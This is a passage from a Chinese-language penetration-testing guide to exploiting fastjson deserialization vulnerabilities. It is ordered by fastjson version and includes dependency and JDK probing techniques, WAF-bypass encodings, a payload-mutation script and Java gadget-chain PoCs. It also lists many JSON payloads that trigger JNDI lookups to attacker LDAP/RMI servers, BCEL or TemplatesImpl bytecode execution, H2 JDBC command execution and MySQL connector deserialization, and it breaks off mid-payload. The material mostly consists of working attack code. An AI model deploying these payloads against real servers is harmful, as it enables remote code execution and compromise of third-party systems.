com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl // TemplatesImpl
org.apache.tomcat.dbcp.dbcp.BasicDataSource  // tomcat-dbcp-7+BCEL 执行字节码
org.apache.tomcat.dbcp.dbcp2.BasicDataSource // tomcat-dbcp-8及以后+BCEL 执行字节码
com.sun.org.apache.bcel.internal.util.ClassLoader // Apache Commons BCEL
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource // C3P0二次反序列化 Hex字节码加载

// Tomcat 8+ (Tomcat 8.0.x、<=8.5.78、<=9.0.62) 高版本JDK时JNDI命令执行
javax.el.ELProcessor

// Groovy - 1.2.80   高版本JDK时groovy命令执行
groovy.lang.GroovyShell
groovy.lang.GroovyClassLoader
org.apache.naming.factory.BeanFactory
org.yaml.snakeyaml.Yaml
com.thoughtworks.xstream.XStream
org.xmlpull.v1.XmlPullParserException
org.xmlpull.mxp1.MXParser
org.mvel2.sh.ShellSession
com.sun.glass.utils.NativeLibLoader
// 探测其他类方法是否存在
javax.management.loading.MLet
...

// 文件读写
org.apache.commons.io.file.Counters  // commons-io-2.7+
org.apache.commons.io.Charsets       // <= commons-io-2.6,commons-io-2.7移除
org.aspectj.ajde.Ajde                // aspectjtools 读文件
...

// 反序列化利用链
com.mysql.jdbc.Buffer  // mysql-jdbc-5 mysql-JDBC反序列化
com.mysql.cj.protocol.AuthenticationProvider // mysql-connect-8
com.mysql.cj.api.authentication.AuthenticationProvider  // mysql-connect-6
org.codehaus.groovy.control.CompilerConfiguration // groovy 远程类加载
// JDBC
org.h2.Driver
org.postgresql.Driver
com.mysql.jdbc.Driver
com.mysql.cj.jdbc.Driver
org.h2.jdbcx.JdbcDataSource
com.mysql.fabric.jdbc.FabricMySQLDriver
oracle.jdbc.driver.OracleDriver
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.commons.dbcp.BasicDataSourceFactory
org.apache.commons.pool.KeyedObjectPoolFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
org.apache.commons.pool2.PooledObjectFactory
org.apache.tomcat.jdbc.pool.DataSourceFactory
org.apache.juli.logging.LogFactory
com.alibaba.druid.pool.DruidDataSourceFactory
//WebSphere加载jar RCE
com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
com.ibm.ws.webservices.engine.client.ServiceFactory
...

// XXE和文件写入
org.apache.catalina.UserDatabase
org.apache.catalina.users.MemoryUserDatabaseFactory

// 辅助依赖环境判断
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot 回显、内存马
org.apache.catalina.startup.Tomcat  // Tomcat 内存马
com.mchange.v2.c3p0.DataSources  // C3P0 依赖


// JDK版本识别
sun.nio.cs.GBK  // JDK8
java.util.Spliterator  // JDK 8
java.util.concurrent.CompletableFuture  // JDK 8
java.util.Optional  // JDK 8
java.util.stream.Stream  // JDK 8
java.time.LocalDate  // JDK 8
java.time.LocalTime  // JDK 8
java.time.LocalDateTime  // JDK 8
java.time.Duration  // JDK 8
java.time.Period  // JDK 8
java.time.Instant  // JDK 8
java.util.function.Function  // JDK 8
java.util.function.Predicate  // JDK 8
java.util.function.Supplier  // JDK 8
java.util.function.Consumer  // JDK 8
java.time.format.DateTimeFormatter  // JDK 8

java.lang.Module  // JDK 9
java.util.concurrent.Flow  // JDK 9
java.lang.invoke.VarHandle  // JDK 9
java.util.OptionalInt  // JDK 9
java.util.OptionalLong  // JDK 9
java.util.OptionalDouble  // JDK 9
java.net.http.HttpClient  // JDK 9 (初步引入,JDK 11 中稳定)
java.lang.StackWalker  // JDK 9
java.nio.file.Files  // JDK 9 (新方法)

java.net.http.HttpClient  // JDK 11
java.lang.invoke.ConstantBootstraps  // JDK 11
java.util.concurrent.Flow  // JDK 11 (完善)
java.nio.file.Files  // JDK 11 (新方法)

java.lang.Record  // JDK 14
java.lang.constant.Constable  // JDK 14

java.net.http.HttpRequest  // JDK 15 (新方法)
java.net.http.HttpResponse  // JDK 15 (新方法)

java.util.random.RandomGenerator  // JDK 16

java.net.spi  // JDK 17
java.util.random.RandomGeneratorFactory  // JDK 17
...

通过是否返回实例判断

这个方法是1.2.47及之前版本添加类缓存的一个利用方式,如果系统存在这个类,会返回一个类实例,如果不存在会返回 null:

{
  "z": {
    "@type": "java.lang.Class",
    "val": "org.springframework.web.bind.annotation.RequestMapping"
  }
}

org.springframework.web.bind.annotation.RequestMapping类存在时:

不存在类的情况:

通过类转换异常判断

通过使用 java.lang.Character对类进行转换,类存在时转换将抛出异常:

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.jdbc.Driver"
}}

{"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "com.mysql.jdbc.Driver"}

org.apache.catalina.startup.Tomcat类存在时,转换失败将抛出异常:

com.mysql.jdbc.Driver类不存在时返回空:

通过带外信息判断

通过使用 带外请求来探测依赖库,当存在依赖时DNSLOG中会显示类信息:

{"@type":"java.net.Inet4Address",
   "val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
   "val":{"@type":"com.alibaba.fastjson.JSONObject",{
   "@type": "java.lang.String""@type":"java.util.Locale",
   "language":{"@type":"java.lang.String"
{1:{"@type":"要探测的类"}},
"country":"DNSLOG"
}}}}}}

在靶机环境中未能实现DNSLOG检测,因为DNS请求没法支持{}符号,会抛出异常(需要对方为mac环境且dnslog平台支持特殊符号),但是也可以根据异常检测到存在类(存在类时才会发起DNS解析,这时候就抛出了deserialize inet adress error异常):

0x03.4 WAF绕过

1.Unicode与Hex编码

{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}

2.添加多个逗号

{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true         }

3.自动处理脚本

// https://medium.com/@knownsec404team/fastjson-deserialization-vulnerability-history-5206714ceed1

#!usr/bin/env python  
# -*- coding:utf-8 -*-
"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07
"""
import json
from json import JSONDecodeError
class FastJsonPayload:
    def __init__(self, base_payload):
        try:
            json.loads(base_payload)
        except JSONDecodeError as ex:
            raise ex
        self.base_payload = base_payload
    def gen_common(self, payload, func):
        tmp_payload = json.loads(payload)
        dct_objs = [tmp_payload]
        while len(dct_objs) > 0:
            tmp_objs = []
            for dct_obj in dct_objs:
                for key in dct_obj:
                    if key == "@type":
                        dct_obj[key] = func(dct_obj[key])
                    if type(dct_obj[key]) == dict:
                        tmp_objs.append(dct_obj[key])
            dct_objs = tmp_objs
        return json.dumps(tmp_payload)
    # Increase the value of @type by the beginning of L, the end of ;
    def gen_payload1(self, payload: str):
        return self.gen_common(payload, lambda v: "L" + v + ";")
    # Increase the value of @type by the beginning of LL, the end of ;;
    def gen_payload2(self, payload: str):
        return self.gen_common(payload, lambda v: "LL" + v + ";;")
    # Carry on the value of @type \u format
    def gen_payload3(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
    # Carry on the value of @type \x format
    def gen_payload4(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
    # Generate cache bypass payload
    def gen_payload5(self, payload: str):
        cache_payload = {
            "rand1": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }
        }
        cache_payload["rand2"] = json.loads(payload)
        return json.dumps(cache_payload)
    def gen(self):
        payloads = []
        payload1 = self.gen_payload1(self.base_payload)
        yield payload1
        payload2 = self.gen_payload2(self.base_payload)
        yield payload2
        payload3 = self.gen_payload3(self.base_payload)
        yield payload3
        payload4 = self.gen_payload4(self.base_payload)
        yield payload4
        payload5 = self.gen_payload5(self.base_payload)
        yield payload5
        payloads.append(payload1)
        payloads.append(payload2)
        payloads.append(payload5)
        for payload in payloads:
            yield self.gen_payload3(payload)
            yield self.gen_payload4(payload)
if __name__ == '__main__':
    fjp = FastJsonPayload('''{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}''')
    for payload in fjp.gen():
        print(payload)
        print()

0x03.5 漏洞利用Payload

在对fastjson系列漏洞进行利用时,需要综合考虑fastjson版本、JDK版本、中间件和第三方依赖的版本以及fastjson是否开启AutoType功能。下文的Payload可能对于版本信息记录不是很准确,可以通过上文相关的检测方法尝试检测目标环境赖,进而针对性的利用。

根据版本和依赖的环境不同,可尝试的利用方式包括JNDI注入、JAVA字节码执行(存在有条件的TemplatesImpltomcat-dbcp + BCELibatisc3p0等依赖时)、直接或间接的文件读写(commons-io*依赖)等利用方式。如果目标可以访问外部网络的情况下JNDI注入方式是首选,无法访问外部网络时,就需要检查是否存在字节码执行或文件读写的依赖环境,尝试命令执行回显、写入webshell、注入内存马等方式。

fastjson原生反序列化

在上文中,介绍了JNDI注入时会存在JDK版本限制,如果在高版本环境中就需要利用一些本地类工厂或反序列化漏洞链。在没有可利用的本地类时,还可以使用fastjson原生反序列化利用链。在利用时可以通过JNDIc3p0二次反序列化方式触发,以下是 fastjson1fastjson2的反序列化利用POC:

// fastjson1 原生反序列化
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
// fastjson2 原生反序列化
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

对于以上两个POC,最终是调用TemplatesImpl执行.class字节码,这样就可以通过其他工具生成内存马然后通过TemplatesImpl执行了。JNDI利用时将该POC编译成class文件使用,c3p0二次反序列化时将class文件转为十六进制后在c3p0中作为二次readObject传入的数据即可。了解上述内容后,根据fastjson版本更新顺序归并整理下互联网已存在的Payload,然后搭建测试环境进行验证。

<= 1.2.24(无限制)

从1.2.22版本引入以来,fastjson <=1.2.24 版本中默认启用了AutoType功能。其主要有下列三种利用方式(当然还有很多基于其他依赖环境的利用方式),限制条件和POC如下:

JNDI

// JNDI注入方式,需要目标可以访问远程服务。较为常见,可以通过依赖探测分析利用方案
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

dbcp + BCEL

// BCEL 字节码执行方式
// 限制条件 
// 1.fastjson版本限制:fastjson <= 1.2.24
// 2.jdk < 8u251(Java 8u251及之后com.sun.org.apache.bcel.internal.util.ClassLoader被移除)
// 3.存在dbcp或tomcat-dbcp依赖
// tomcat7   :  org.apache.tomcat.dbcp.dbcp.BasicDataSource 
// tomcat8+  :  org.apache.tomcat.dbcp.dbcp2.BasicDataSource

// 4.POC
{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$..."
        }
    }: "x"
}

// BCEL JDK版本限制:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
// 用于 fastjson bcel 字节码编码:https://github.com/flamingo-gx/Fastjson-BCELCoder/

// 不出网利用:
// https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
// https://xz.aliyun.com/t/12492

// 靶场环境:https://github.com/depycode/fastjson-local-echo

TemplatesImpl

// TemplatesImpl 字节码执行 (条件苛刻)
// 需要目标代码解析JSON字符串时使用 Feature.SupportNonPublicField 设置

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["恶意类base64"],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}
//  _bytecodes:值为恶意类字节码Base64编码后的字符串。恶意类需继承 AbstractTranslet 类,然后javac编译为class后通过Base64编码。

<= 1.2.47(java.lang.Class)

fastjson版本1.2.25之后,默认关闭了AutoType功能,并增加了checkAutoType函数对AutoType传入的类进行安全检测。因此,在代码中需要手动开启AutoType支持,可以通过ParserConfig.getGlobalInstance().setAutoTypeSupport(true);来实现。

在版本1.2.25至1.2.45中,可以通过某些方式绕过checkAutoType的黑名单检测。但在1.2.46版本中,将发现的利用方法类加入黑名单。然而,在1.2.47版本中又发现了新的利用方式,使得在1.2.25至1.2.47版本间的checkAutoType检测函数可以被绕过,即使未开启autoTypeSupport功能,也存在漏洞。这个漏洞利用了java.lang.Class将任意类加载到TypeUtils.mappings中缓存的方式,从而绕过了AutoType的检测。在1.2.48版本中,这个缓存功能被默认关闭。

所以在1.2.47及之前版本可以利用添加com.sun.rowset.JdbcRowSetImpl类来绕过autoTypeSupport和黑名单的限制,然后通过传递JSON来触发JdbcRowSetImplJNDI注入漏洞。

对于1.2.25-1.2.45版本利用方式和所需条件也进行简单记录一下,建议直接使用1.2.25-1.2.47的通用利用方式:

/* 1.2.25-1.2.45 需要代码中开启 autoTypeSupport */

// 1.2.25-1.2.41
// 使用 L; 组合绕过⿊名单验证
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}

// 1.2.42
// 使用 LL;; 组合绕过⿊名单验证
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

// 1.2.43
// 使用 [{}] 绕过⿊名单验证
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

// 1.2.45
// 增加了黑名单,但可以通过mybatis组件进行JNDI。影响版本:1.2.25 <= fastjson <= 1.2.45
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://x.x.x.x:1389/xx"}}
 
// 1.2.46
将 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 加入黑名单

1.2.25-1.2.47版本的通用利用方法:

// 以下利用方式都不需要开启 AutoTypeSupport 
影响版本:1.2.25 <= fastjson <= 1.2.47
1.2.25 <= fastjson <= 1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
1.2.33 <= fastjson <= 1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

JNDI

{"1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "2": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:1389/x", "autoCommit": true}}

BBCP + BCEL

对于该利用方式的复现可以见后文fastjson-1.2.47-dbcp测试环境,利用方式和限制条件如下:

// dbcp + bcel
// 限制条件
// 1.jdk < 8u251(Java 8u251之后 com.sun.org.apache.bcel.internal.util.ClassLoader 被移除)
// 2.存在dbcp或tomcat-dbcp依赖
// tomcat7   :  org.apache.tomcat.dbcp.dbcp.BasicDataSource 
// tomcat8+  :  org.apache.tomcat.dbcp.dbcp2.BasicDataSource
// POC1
{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$..."
            }
        } : "xxx"
    }
}

// POC2
{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$..",
                     "$ref": "$.x.y.c.connection"
            }
        }
    }
}


mybatis + BCEL

// POC1
// 适用于 1.2.25-1.2.36
// https://www.cnblogs.com/escape-w/p/14745024.html
{
  "friend":
  {
       "a": {
                "@type": "java.lang.Class",
                "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
               },
        "b": {
                 "@type" : "java.lang.Class",
                 "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
              }
   },
   "x":{
          "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
          "x":
            {
              "x":{
                {
                  "@type": "com.alibaba.fastjson.JSONObject",
                   "c":
                   {
                   "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                   "driverClassLoader": {"$ref": ".." },
                   "driver":"$$BCEL$$$..."}}:"ddd"
                   }
             }
       }
}


// POC2
{
  "@type": "
  org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
  "key": {
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassLoader": {
    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driver": "$$BCEL$$$..."
}

// POC3
{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$..."}}   

H2 JDBC RCE

// H2 JDBC RCE不出网利用
// https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd

[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}]

C3P0二次反序列化利用

C3P0二次反序列化利用 (该利用方式复现见测试环境fastjson-1.2.47-c3p0),这个利用方式需要存在c3p0依赖,利用C3P0ReadObject()方法触发目标环境本地其他反序列化利用链。其他反序列化利用链如CC链(利用Apache Commons Collections库中的特定类的反序列化漏洞构造的利用链)、 CB链(利用Apache Commons Beanutils库中的特定类的反序列化漏洞构造的利用链)、以及fastjson的原生反序列化利用链。

// 限制条件
// 存在 C3P0 依赖
// FastJson <= 1.2.47
{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:hexEXP" } }

<= 1.2.68(java.lang.AutoCloseable)

fastjson1.2.48MiscCodec中修改了cache的默认值为false,并且对TypeUtils.loadClass中的mapping.put做了限制,修复了之前的版本的缓存绕过缺陷。在1.2.48-1.2.68版本中也存在一些没有在黑名单的类可进行JNDI注入利用(均需要开启autoTypeSupport):

// 下列POC需要开启autoTypeSupport

// Fastjson <= 1.2.59
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

// Fastjson <= 1.2.61
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

// Fastjson <= 1.2.62
// 需要xbean依赖(xbean-reflect.jar):org.apache.xbean.propertyeditor.JndiConverter
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

// Fastjson <= 1.2.66
// 需要shiro-core依赖:org.apache.shiro.realm.jndi.JndiRealmFactory
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

// 需要Anteros-DBCP和Anteros-Core依赖:br.com.anteros.dbcp.AnterosDBCPConfig
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry": "rmi://127.0.0.1:1099/Exploit"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry": "rmi://127.0.0.1:1099/Exploit"}

// 需要ibatis-sqlmap和jta依赖:com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"rmi://127.0.0.1:1099/tr1ple"}}

// Fastjson <= 1.2.67
// 需要ignite-core、ignite-jta和jta依赖:org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://x:1389/Exploit"], "tm": {"$ref":"$.tm"}}

// 需要shiro-core和slf4j-api依赖:org.apache.shiro.jndi.JndiObjectFactory
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://x:1389/Exploit","instance":{"$ref":"$.instance"}}

// Fastjson <= 1.2.68
// 利用类必须是expectClass类的子类或实现类,并且不在黑名单中
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

在1.2.68版本中增加了safeMode安全功能,开启该功能后将完全禁止autoTypeSupport,不过该safeMode功能需要手动开启。接着研究人员发现了在不开启safeMode的前提下,在autoType功能关闭时绕过CheckAutoType()检查函数的利用方法,通过java.lang.AutoCloseable类进行expectClassFlag bypass(需要满足利用类必须是expectClass类的子类或实现类,并且不在黑名单中),从而绕过了部分checkAutoType()函数检查。

因为黑名单的完善,JNDI注入的利用方式基本没有了,根据限制条件,US-21-Xing-How-I-Used-a-JSON中扩展介绍了以下几种利用链:

  1. Mysql connector RCE
  2. Apache commons io read and write files
  3. Jetty SSRF
  4. Apache xbean-reflect RCE

Mysql connector RCE

当我们能够控制数据库连接字符串时,可以伪造一个恶意数据库,并将需要反序列化的恶意对象存储在BLOB类型的字段中。当客户端获取该BLOB类型的数据时,MySQL JDBC驱动会自动反序列化,从而导致反序列化漏洞。类似的攻击还存在于其他数据库驱动中,例如PostgreSQL JDBC RCEH2 JDBC RCE。这种攻击利用了数据库驱动在反序列化数据时的安全漏洞,导致恶意代码的执行。在fastjson中可以通过MySQL JDBC触发RCE攻击:

Mysqlconnector 5.1.x

// payload 1
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"mysql.host","portToConnectTo":3306,"info":{"user":”user","password":"pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS": "1"},"databaseToConnectTo":"dbname","url":""}
                                                                                             // payload 2
{
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "x.x.x.x",
    "portToConnectTo": 3306,
    "url": "jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "databaseToConnectTo": "test",
    "info": {
        "@type": "java.util.Properties",
        "PORT": "3306",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "user": "URLDNS_http://x.dnslog.cn",  // 可以进行带外
        "PORT.1": "3306",
        "HOST.1": "172.20.64.40",
        "NUM_HOSTS": "1",
        "HOST": "172.20.64.40",
        "DBNAME": "test"
    }
}                                      

Mysqlconnector 6.0.2 or 6.0.3

// payload 1
{"@type": "java.lang.AutoCloseable","@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}}

// payload 2
{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy": {
        "connectionString": {
            "url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc"
        }
    }
}

Mysqlconnector 6.x or < 8.0.20

// <=1.2.68 and mysql 8.0.19可反序列化, >8.0.19可SSRF
{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [{
                "host": "mysql.host"
            }],
            "slaves": [],
            "properties": {
                "host": "127.0.0.1",
                "user": "yso_CommonsCollections4_calc",
                "dbname": "dbname",
                "password": "pass",
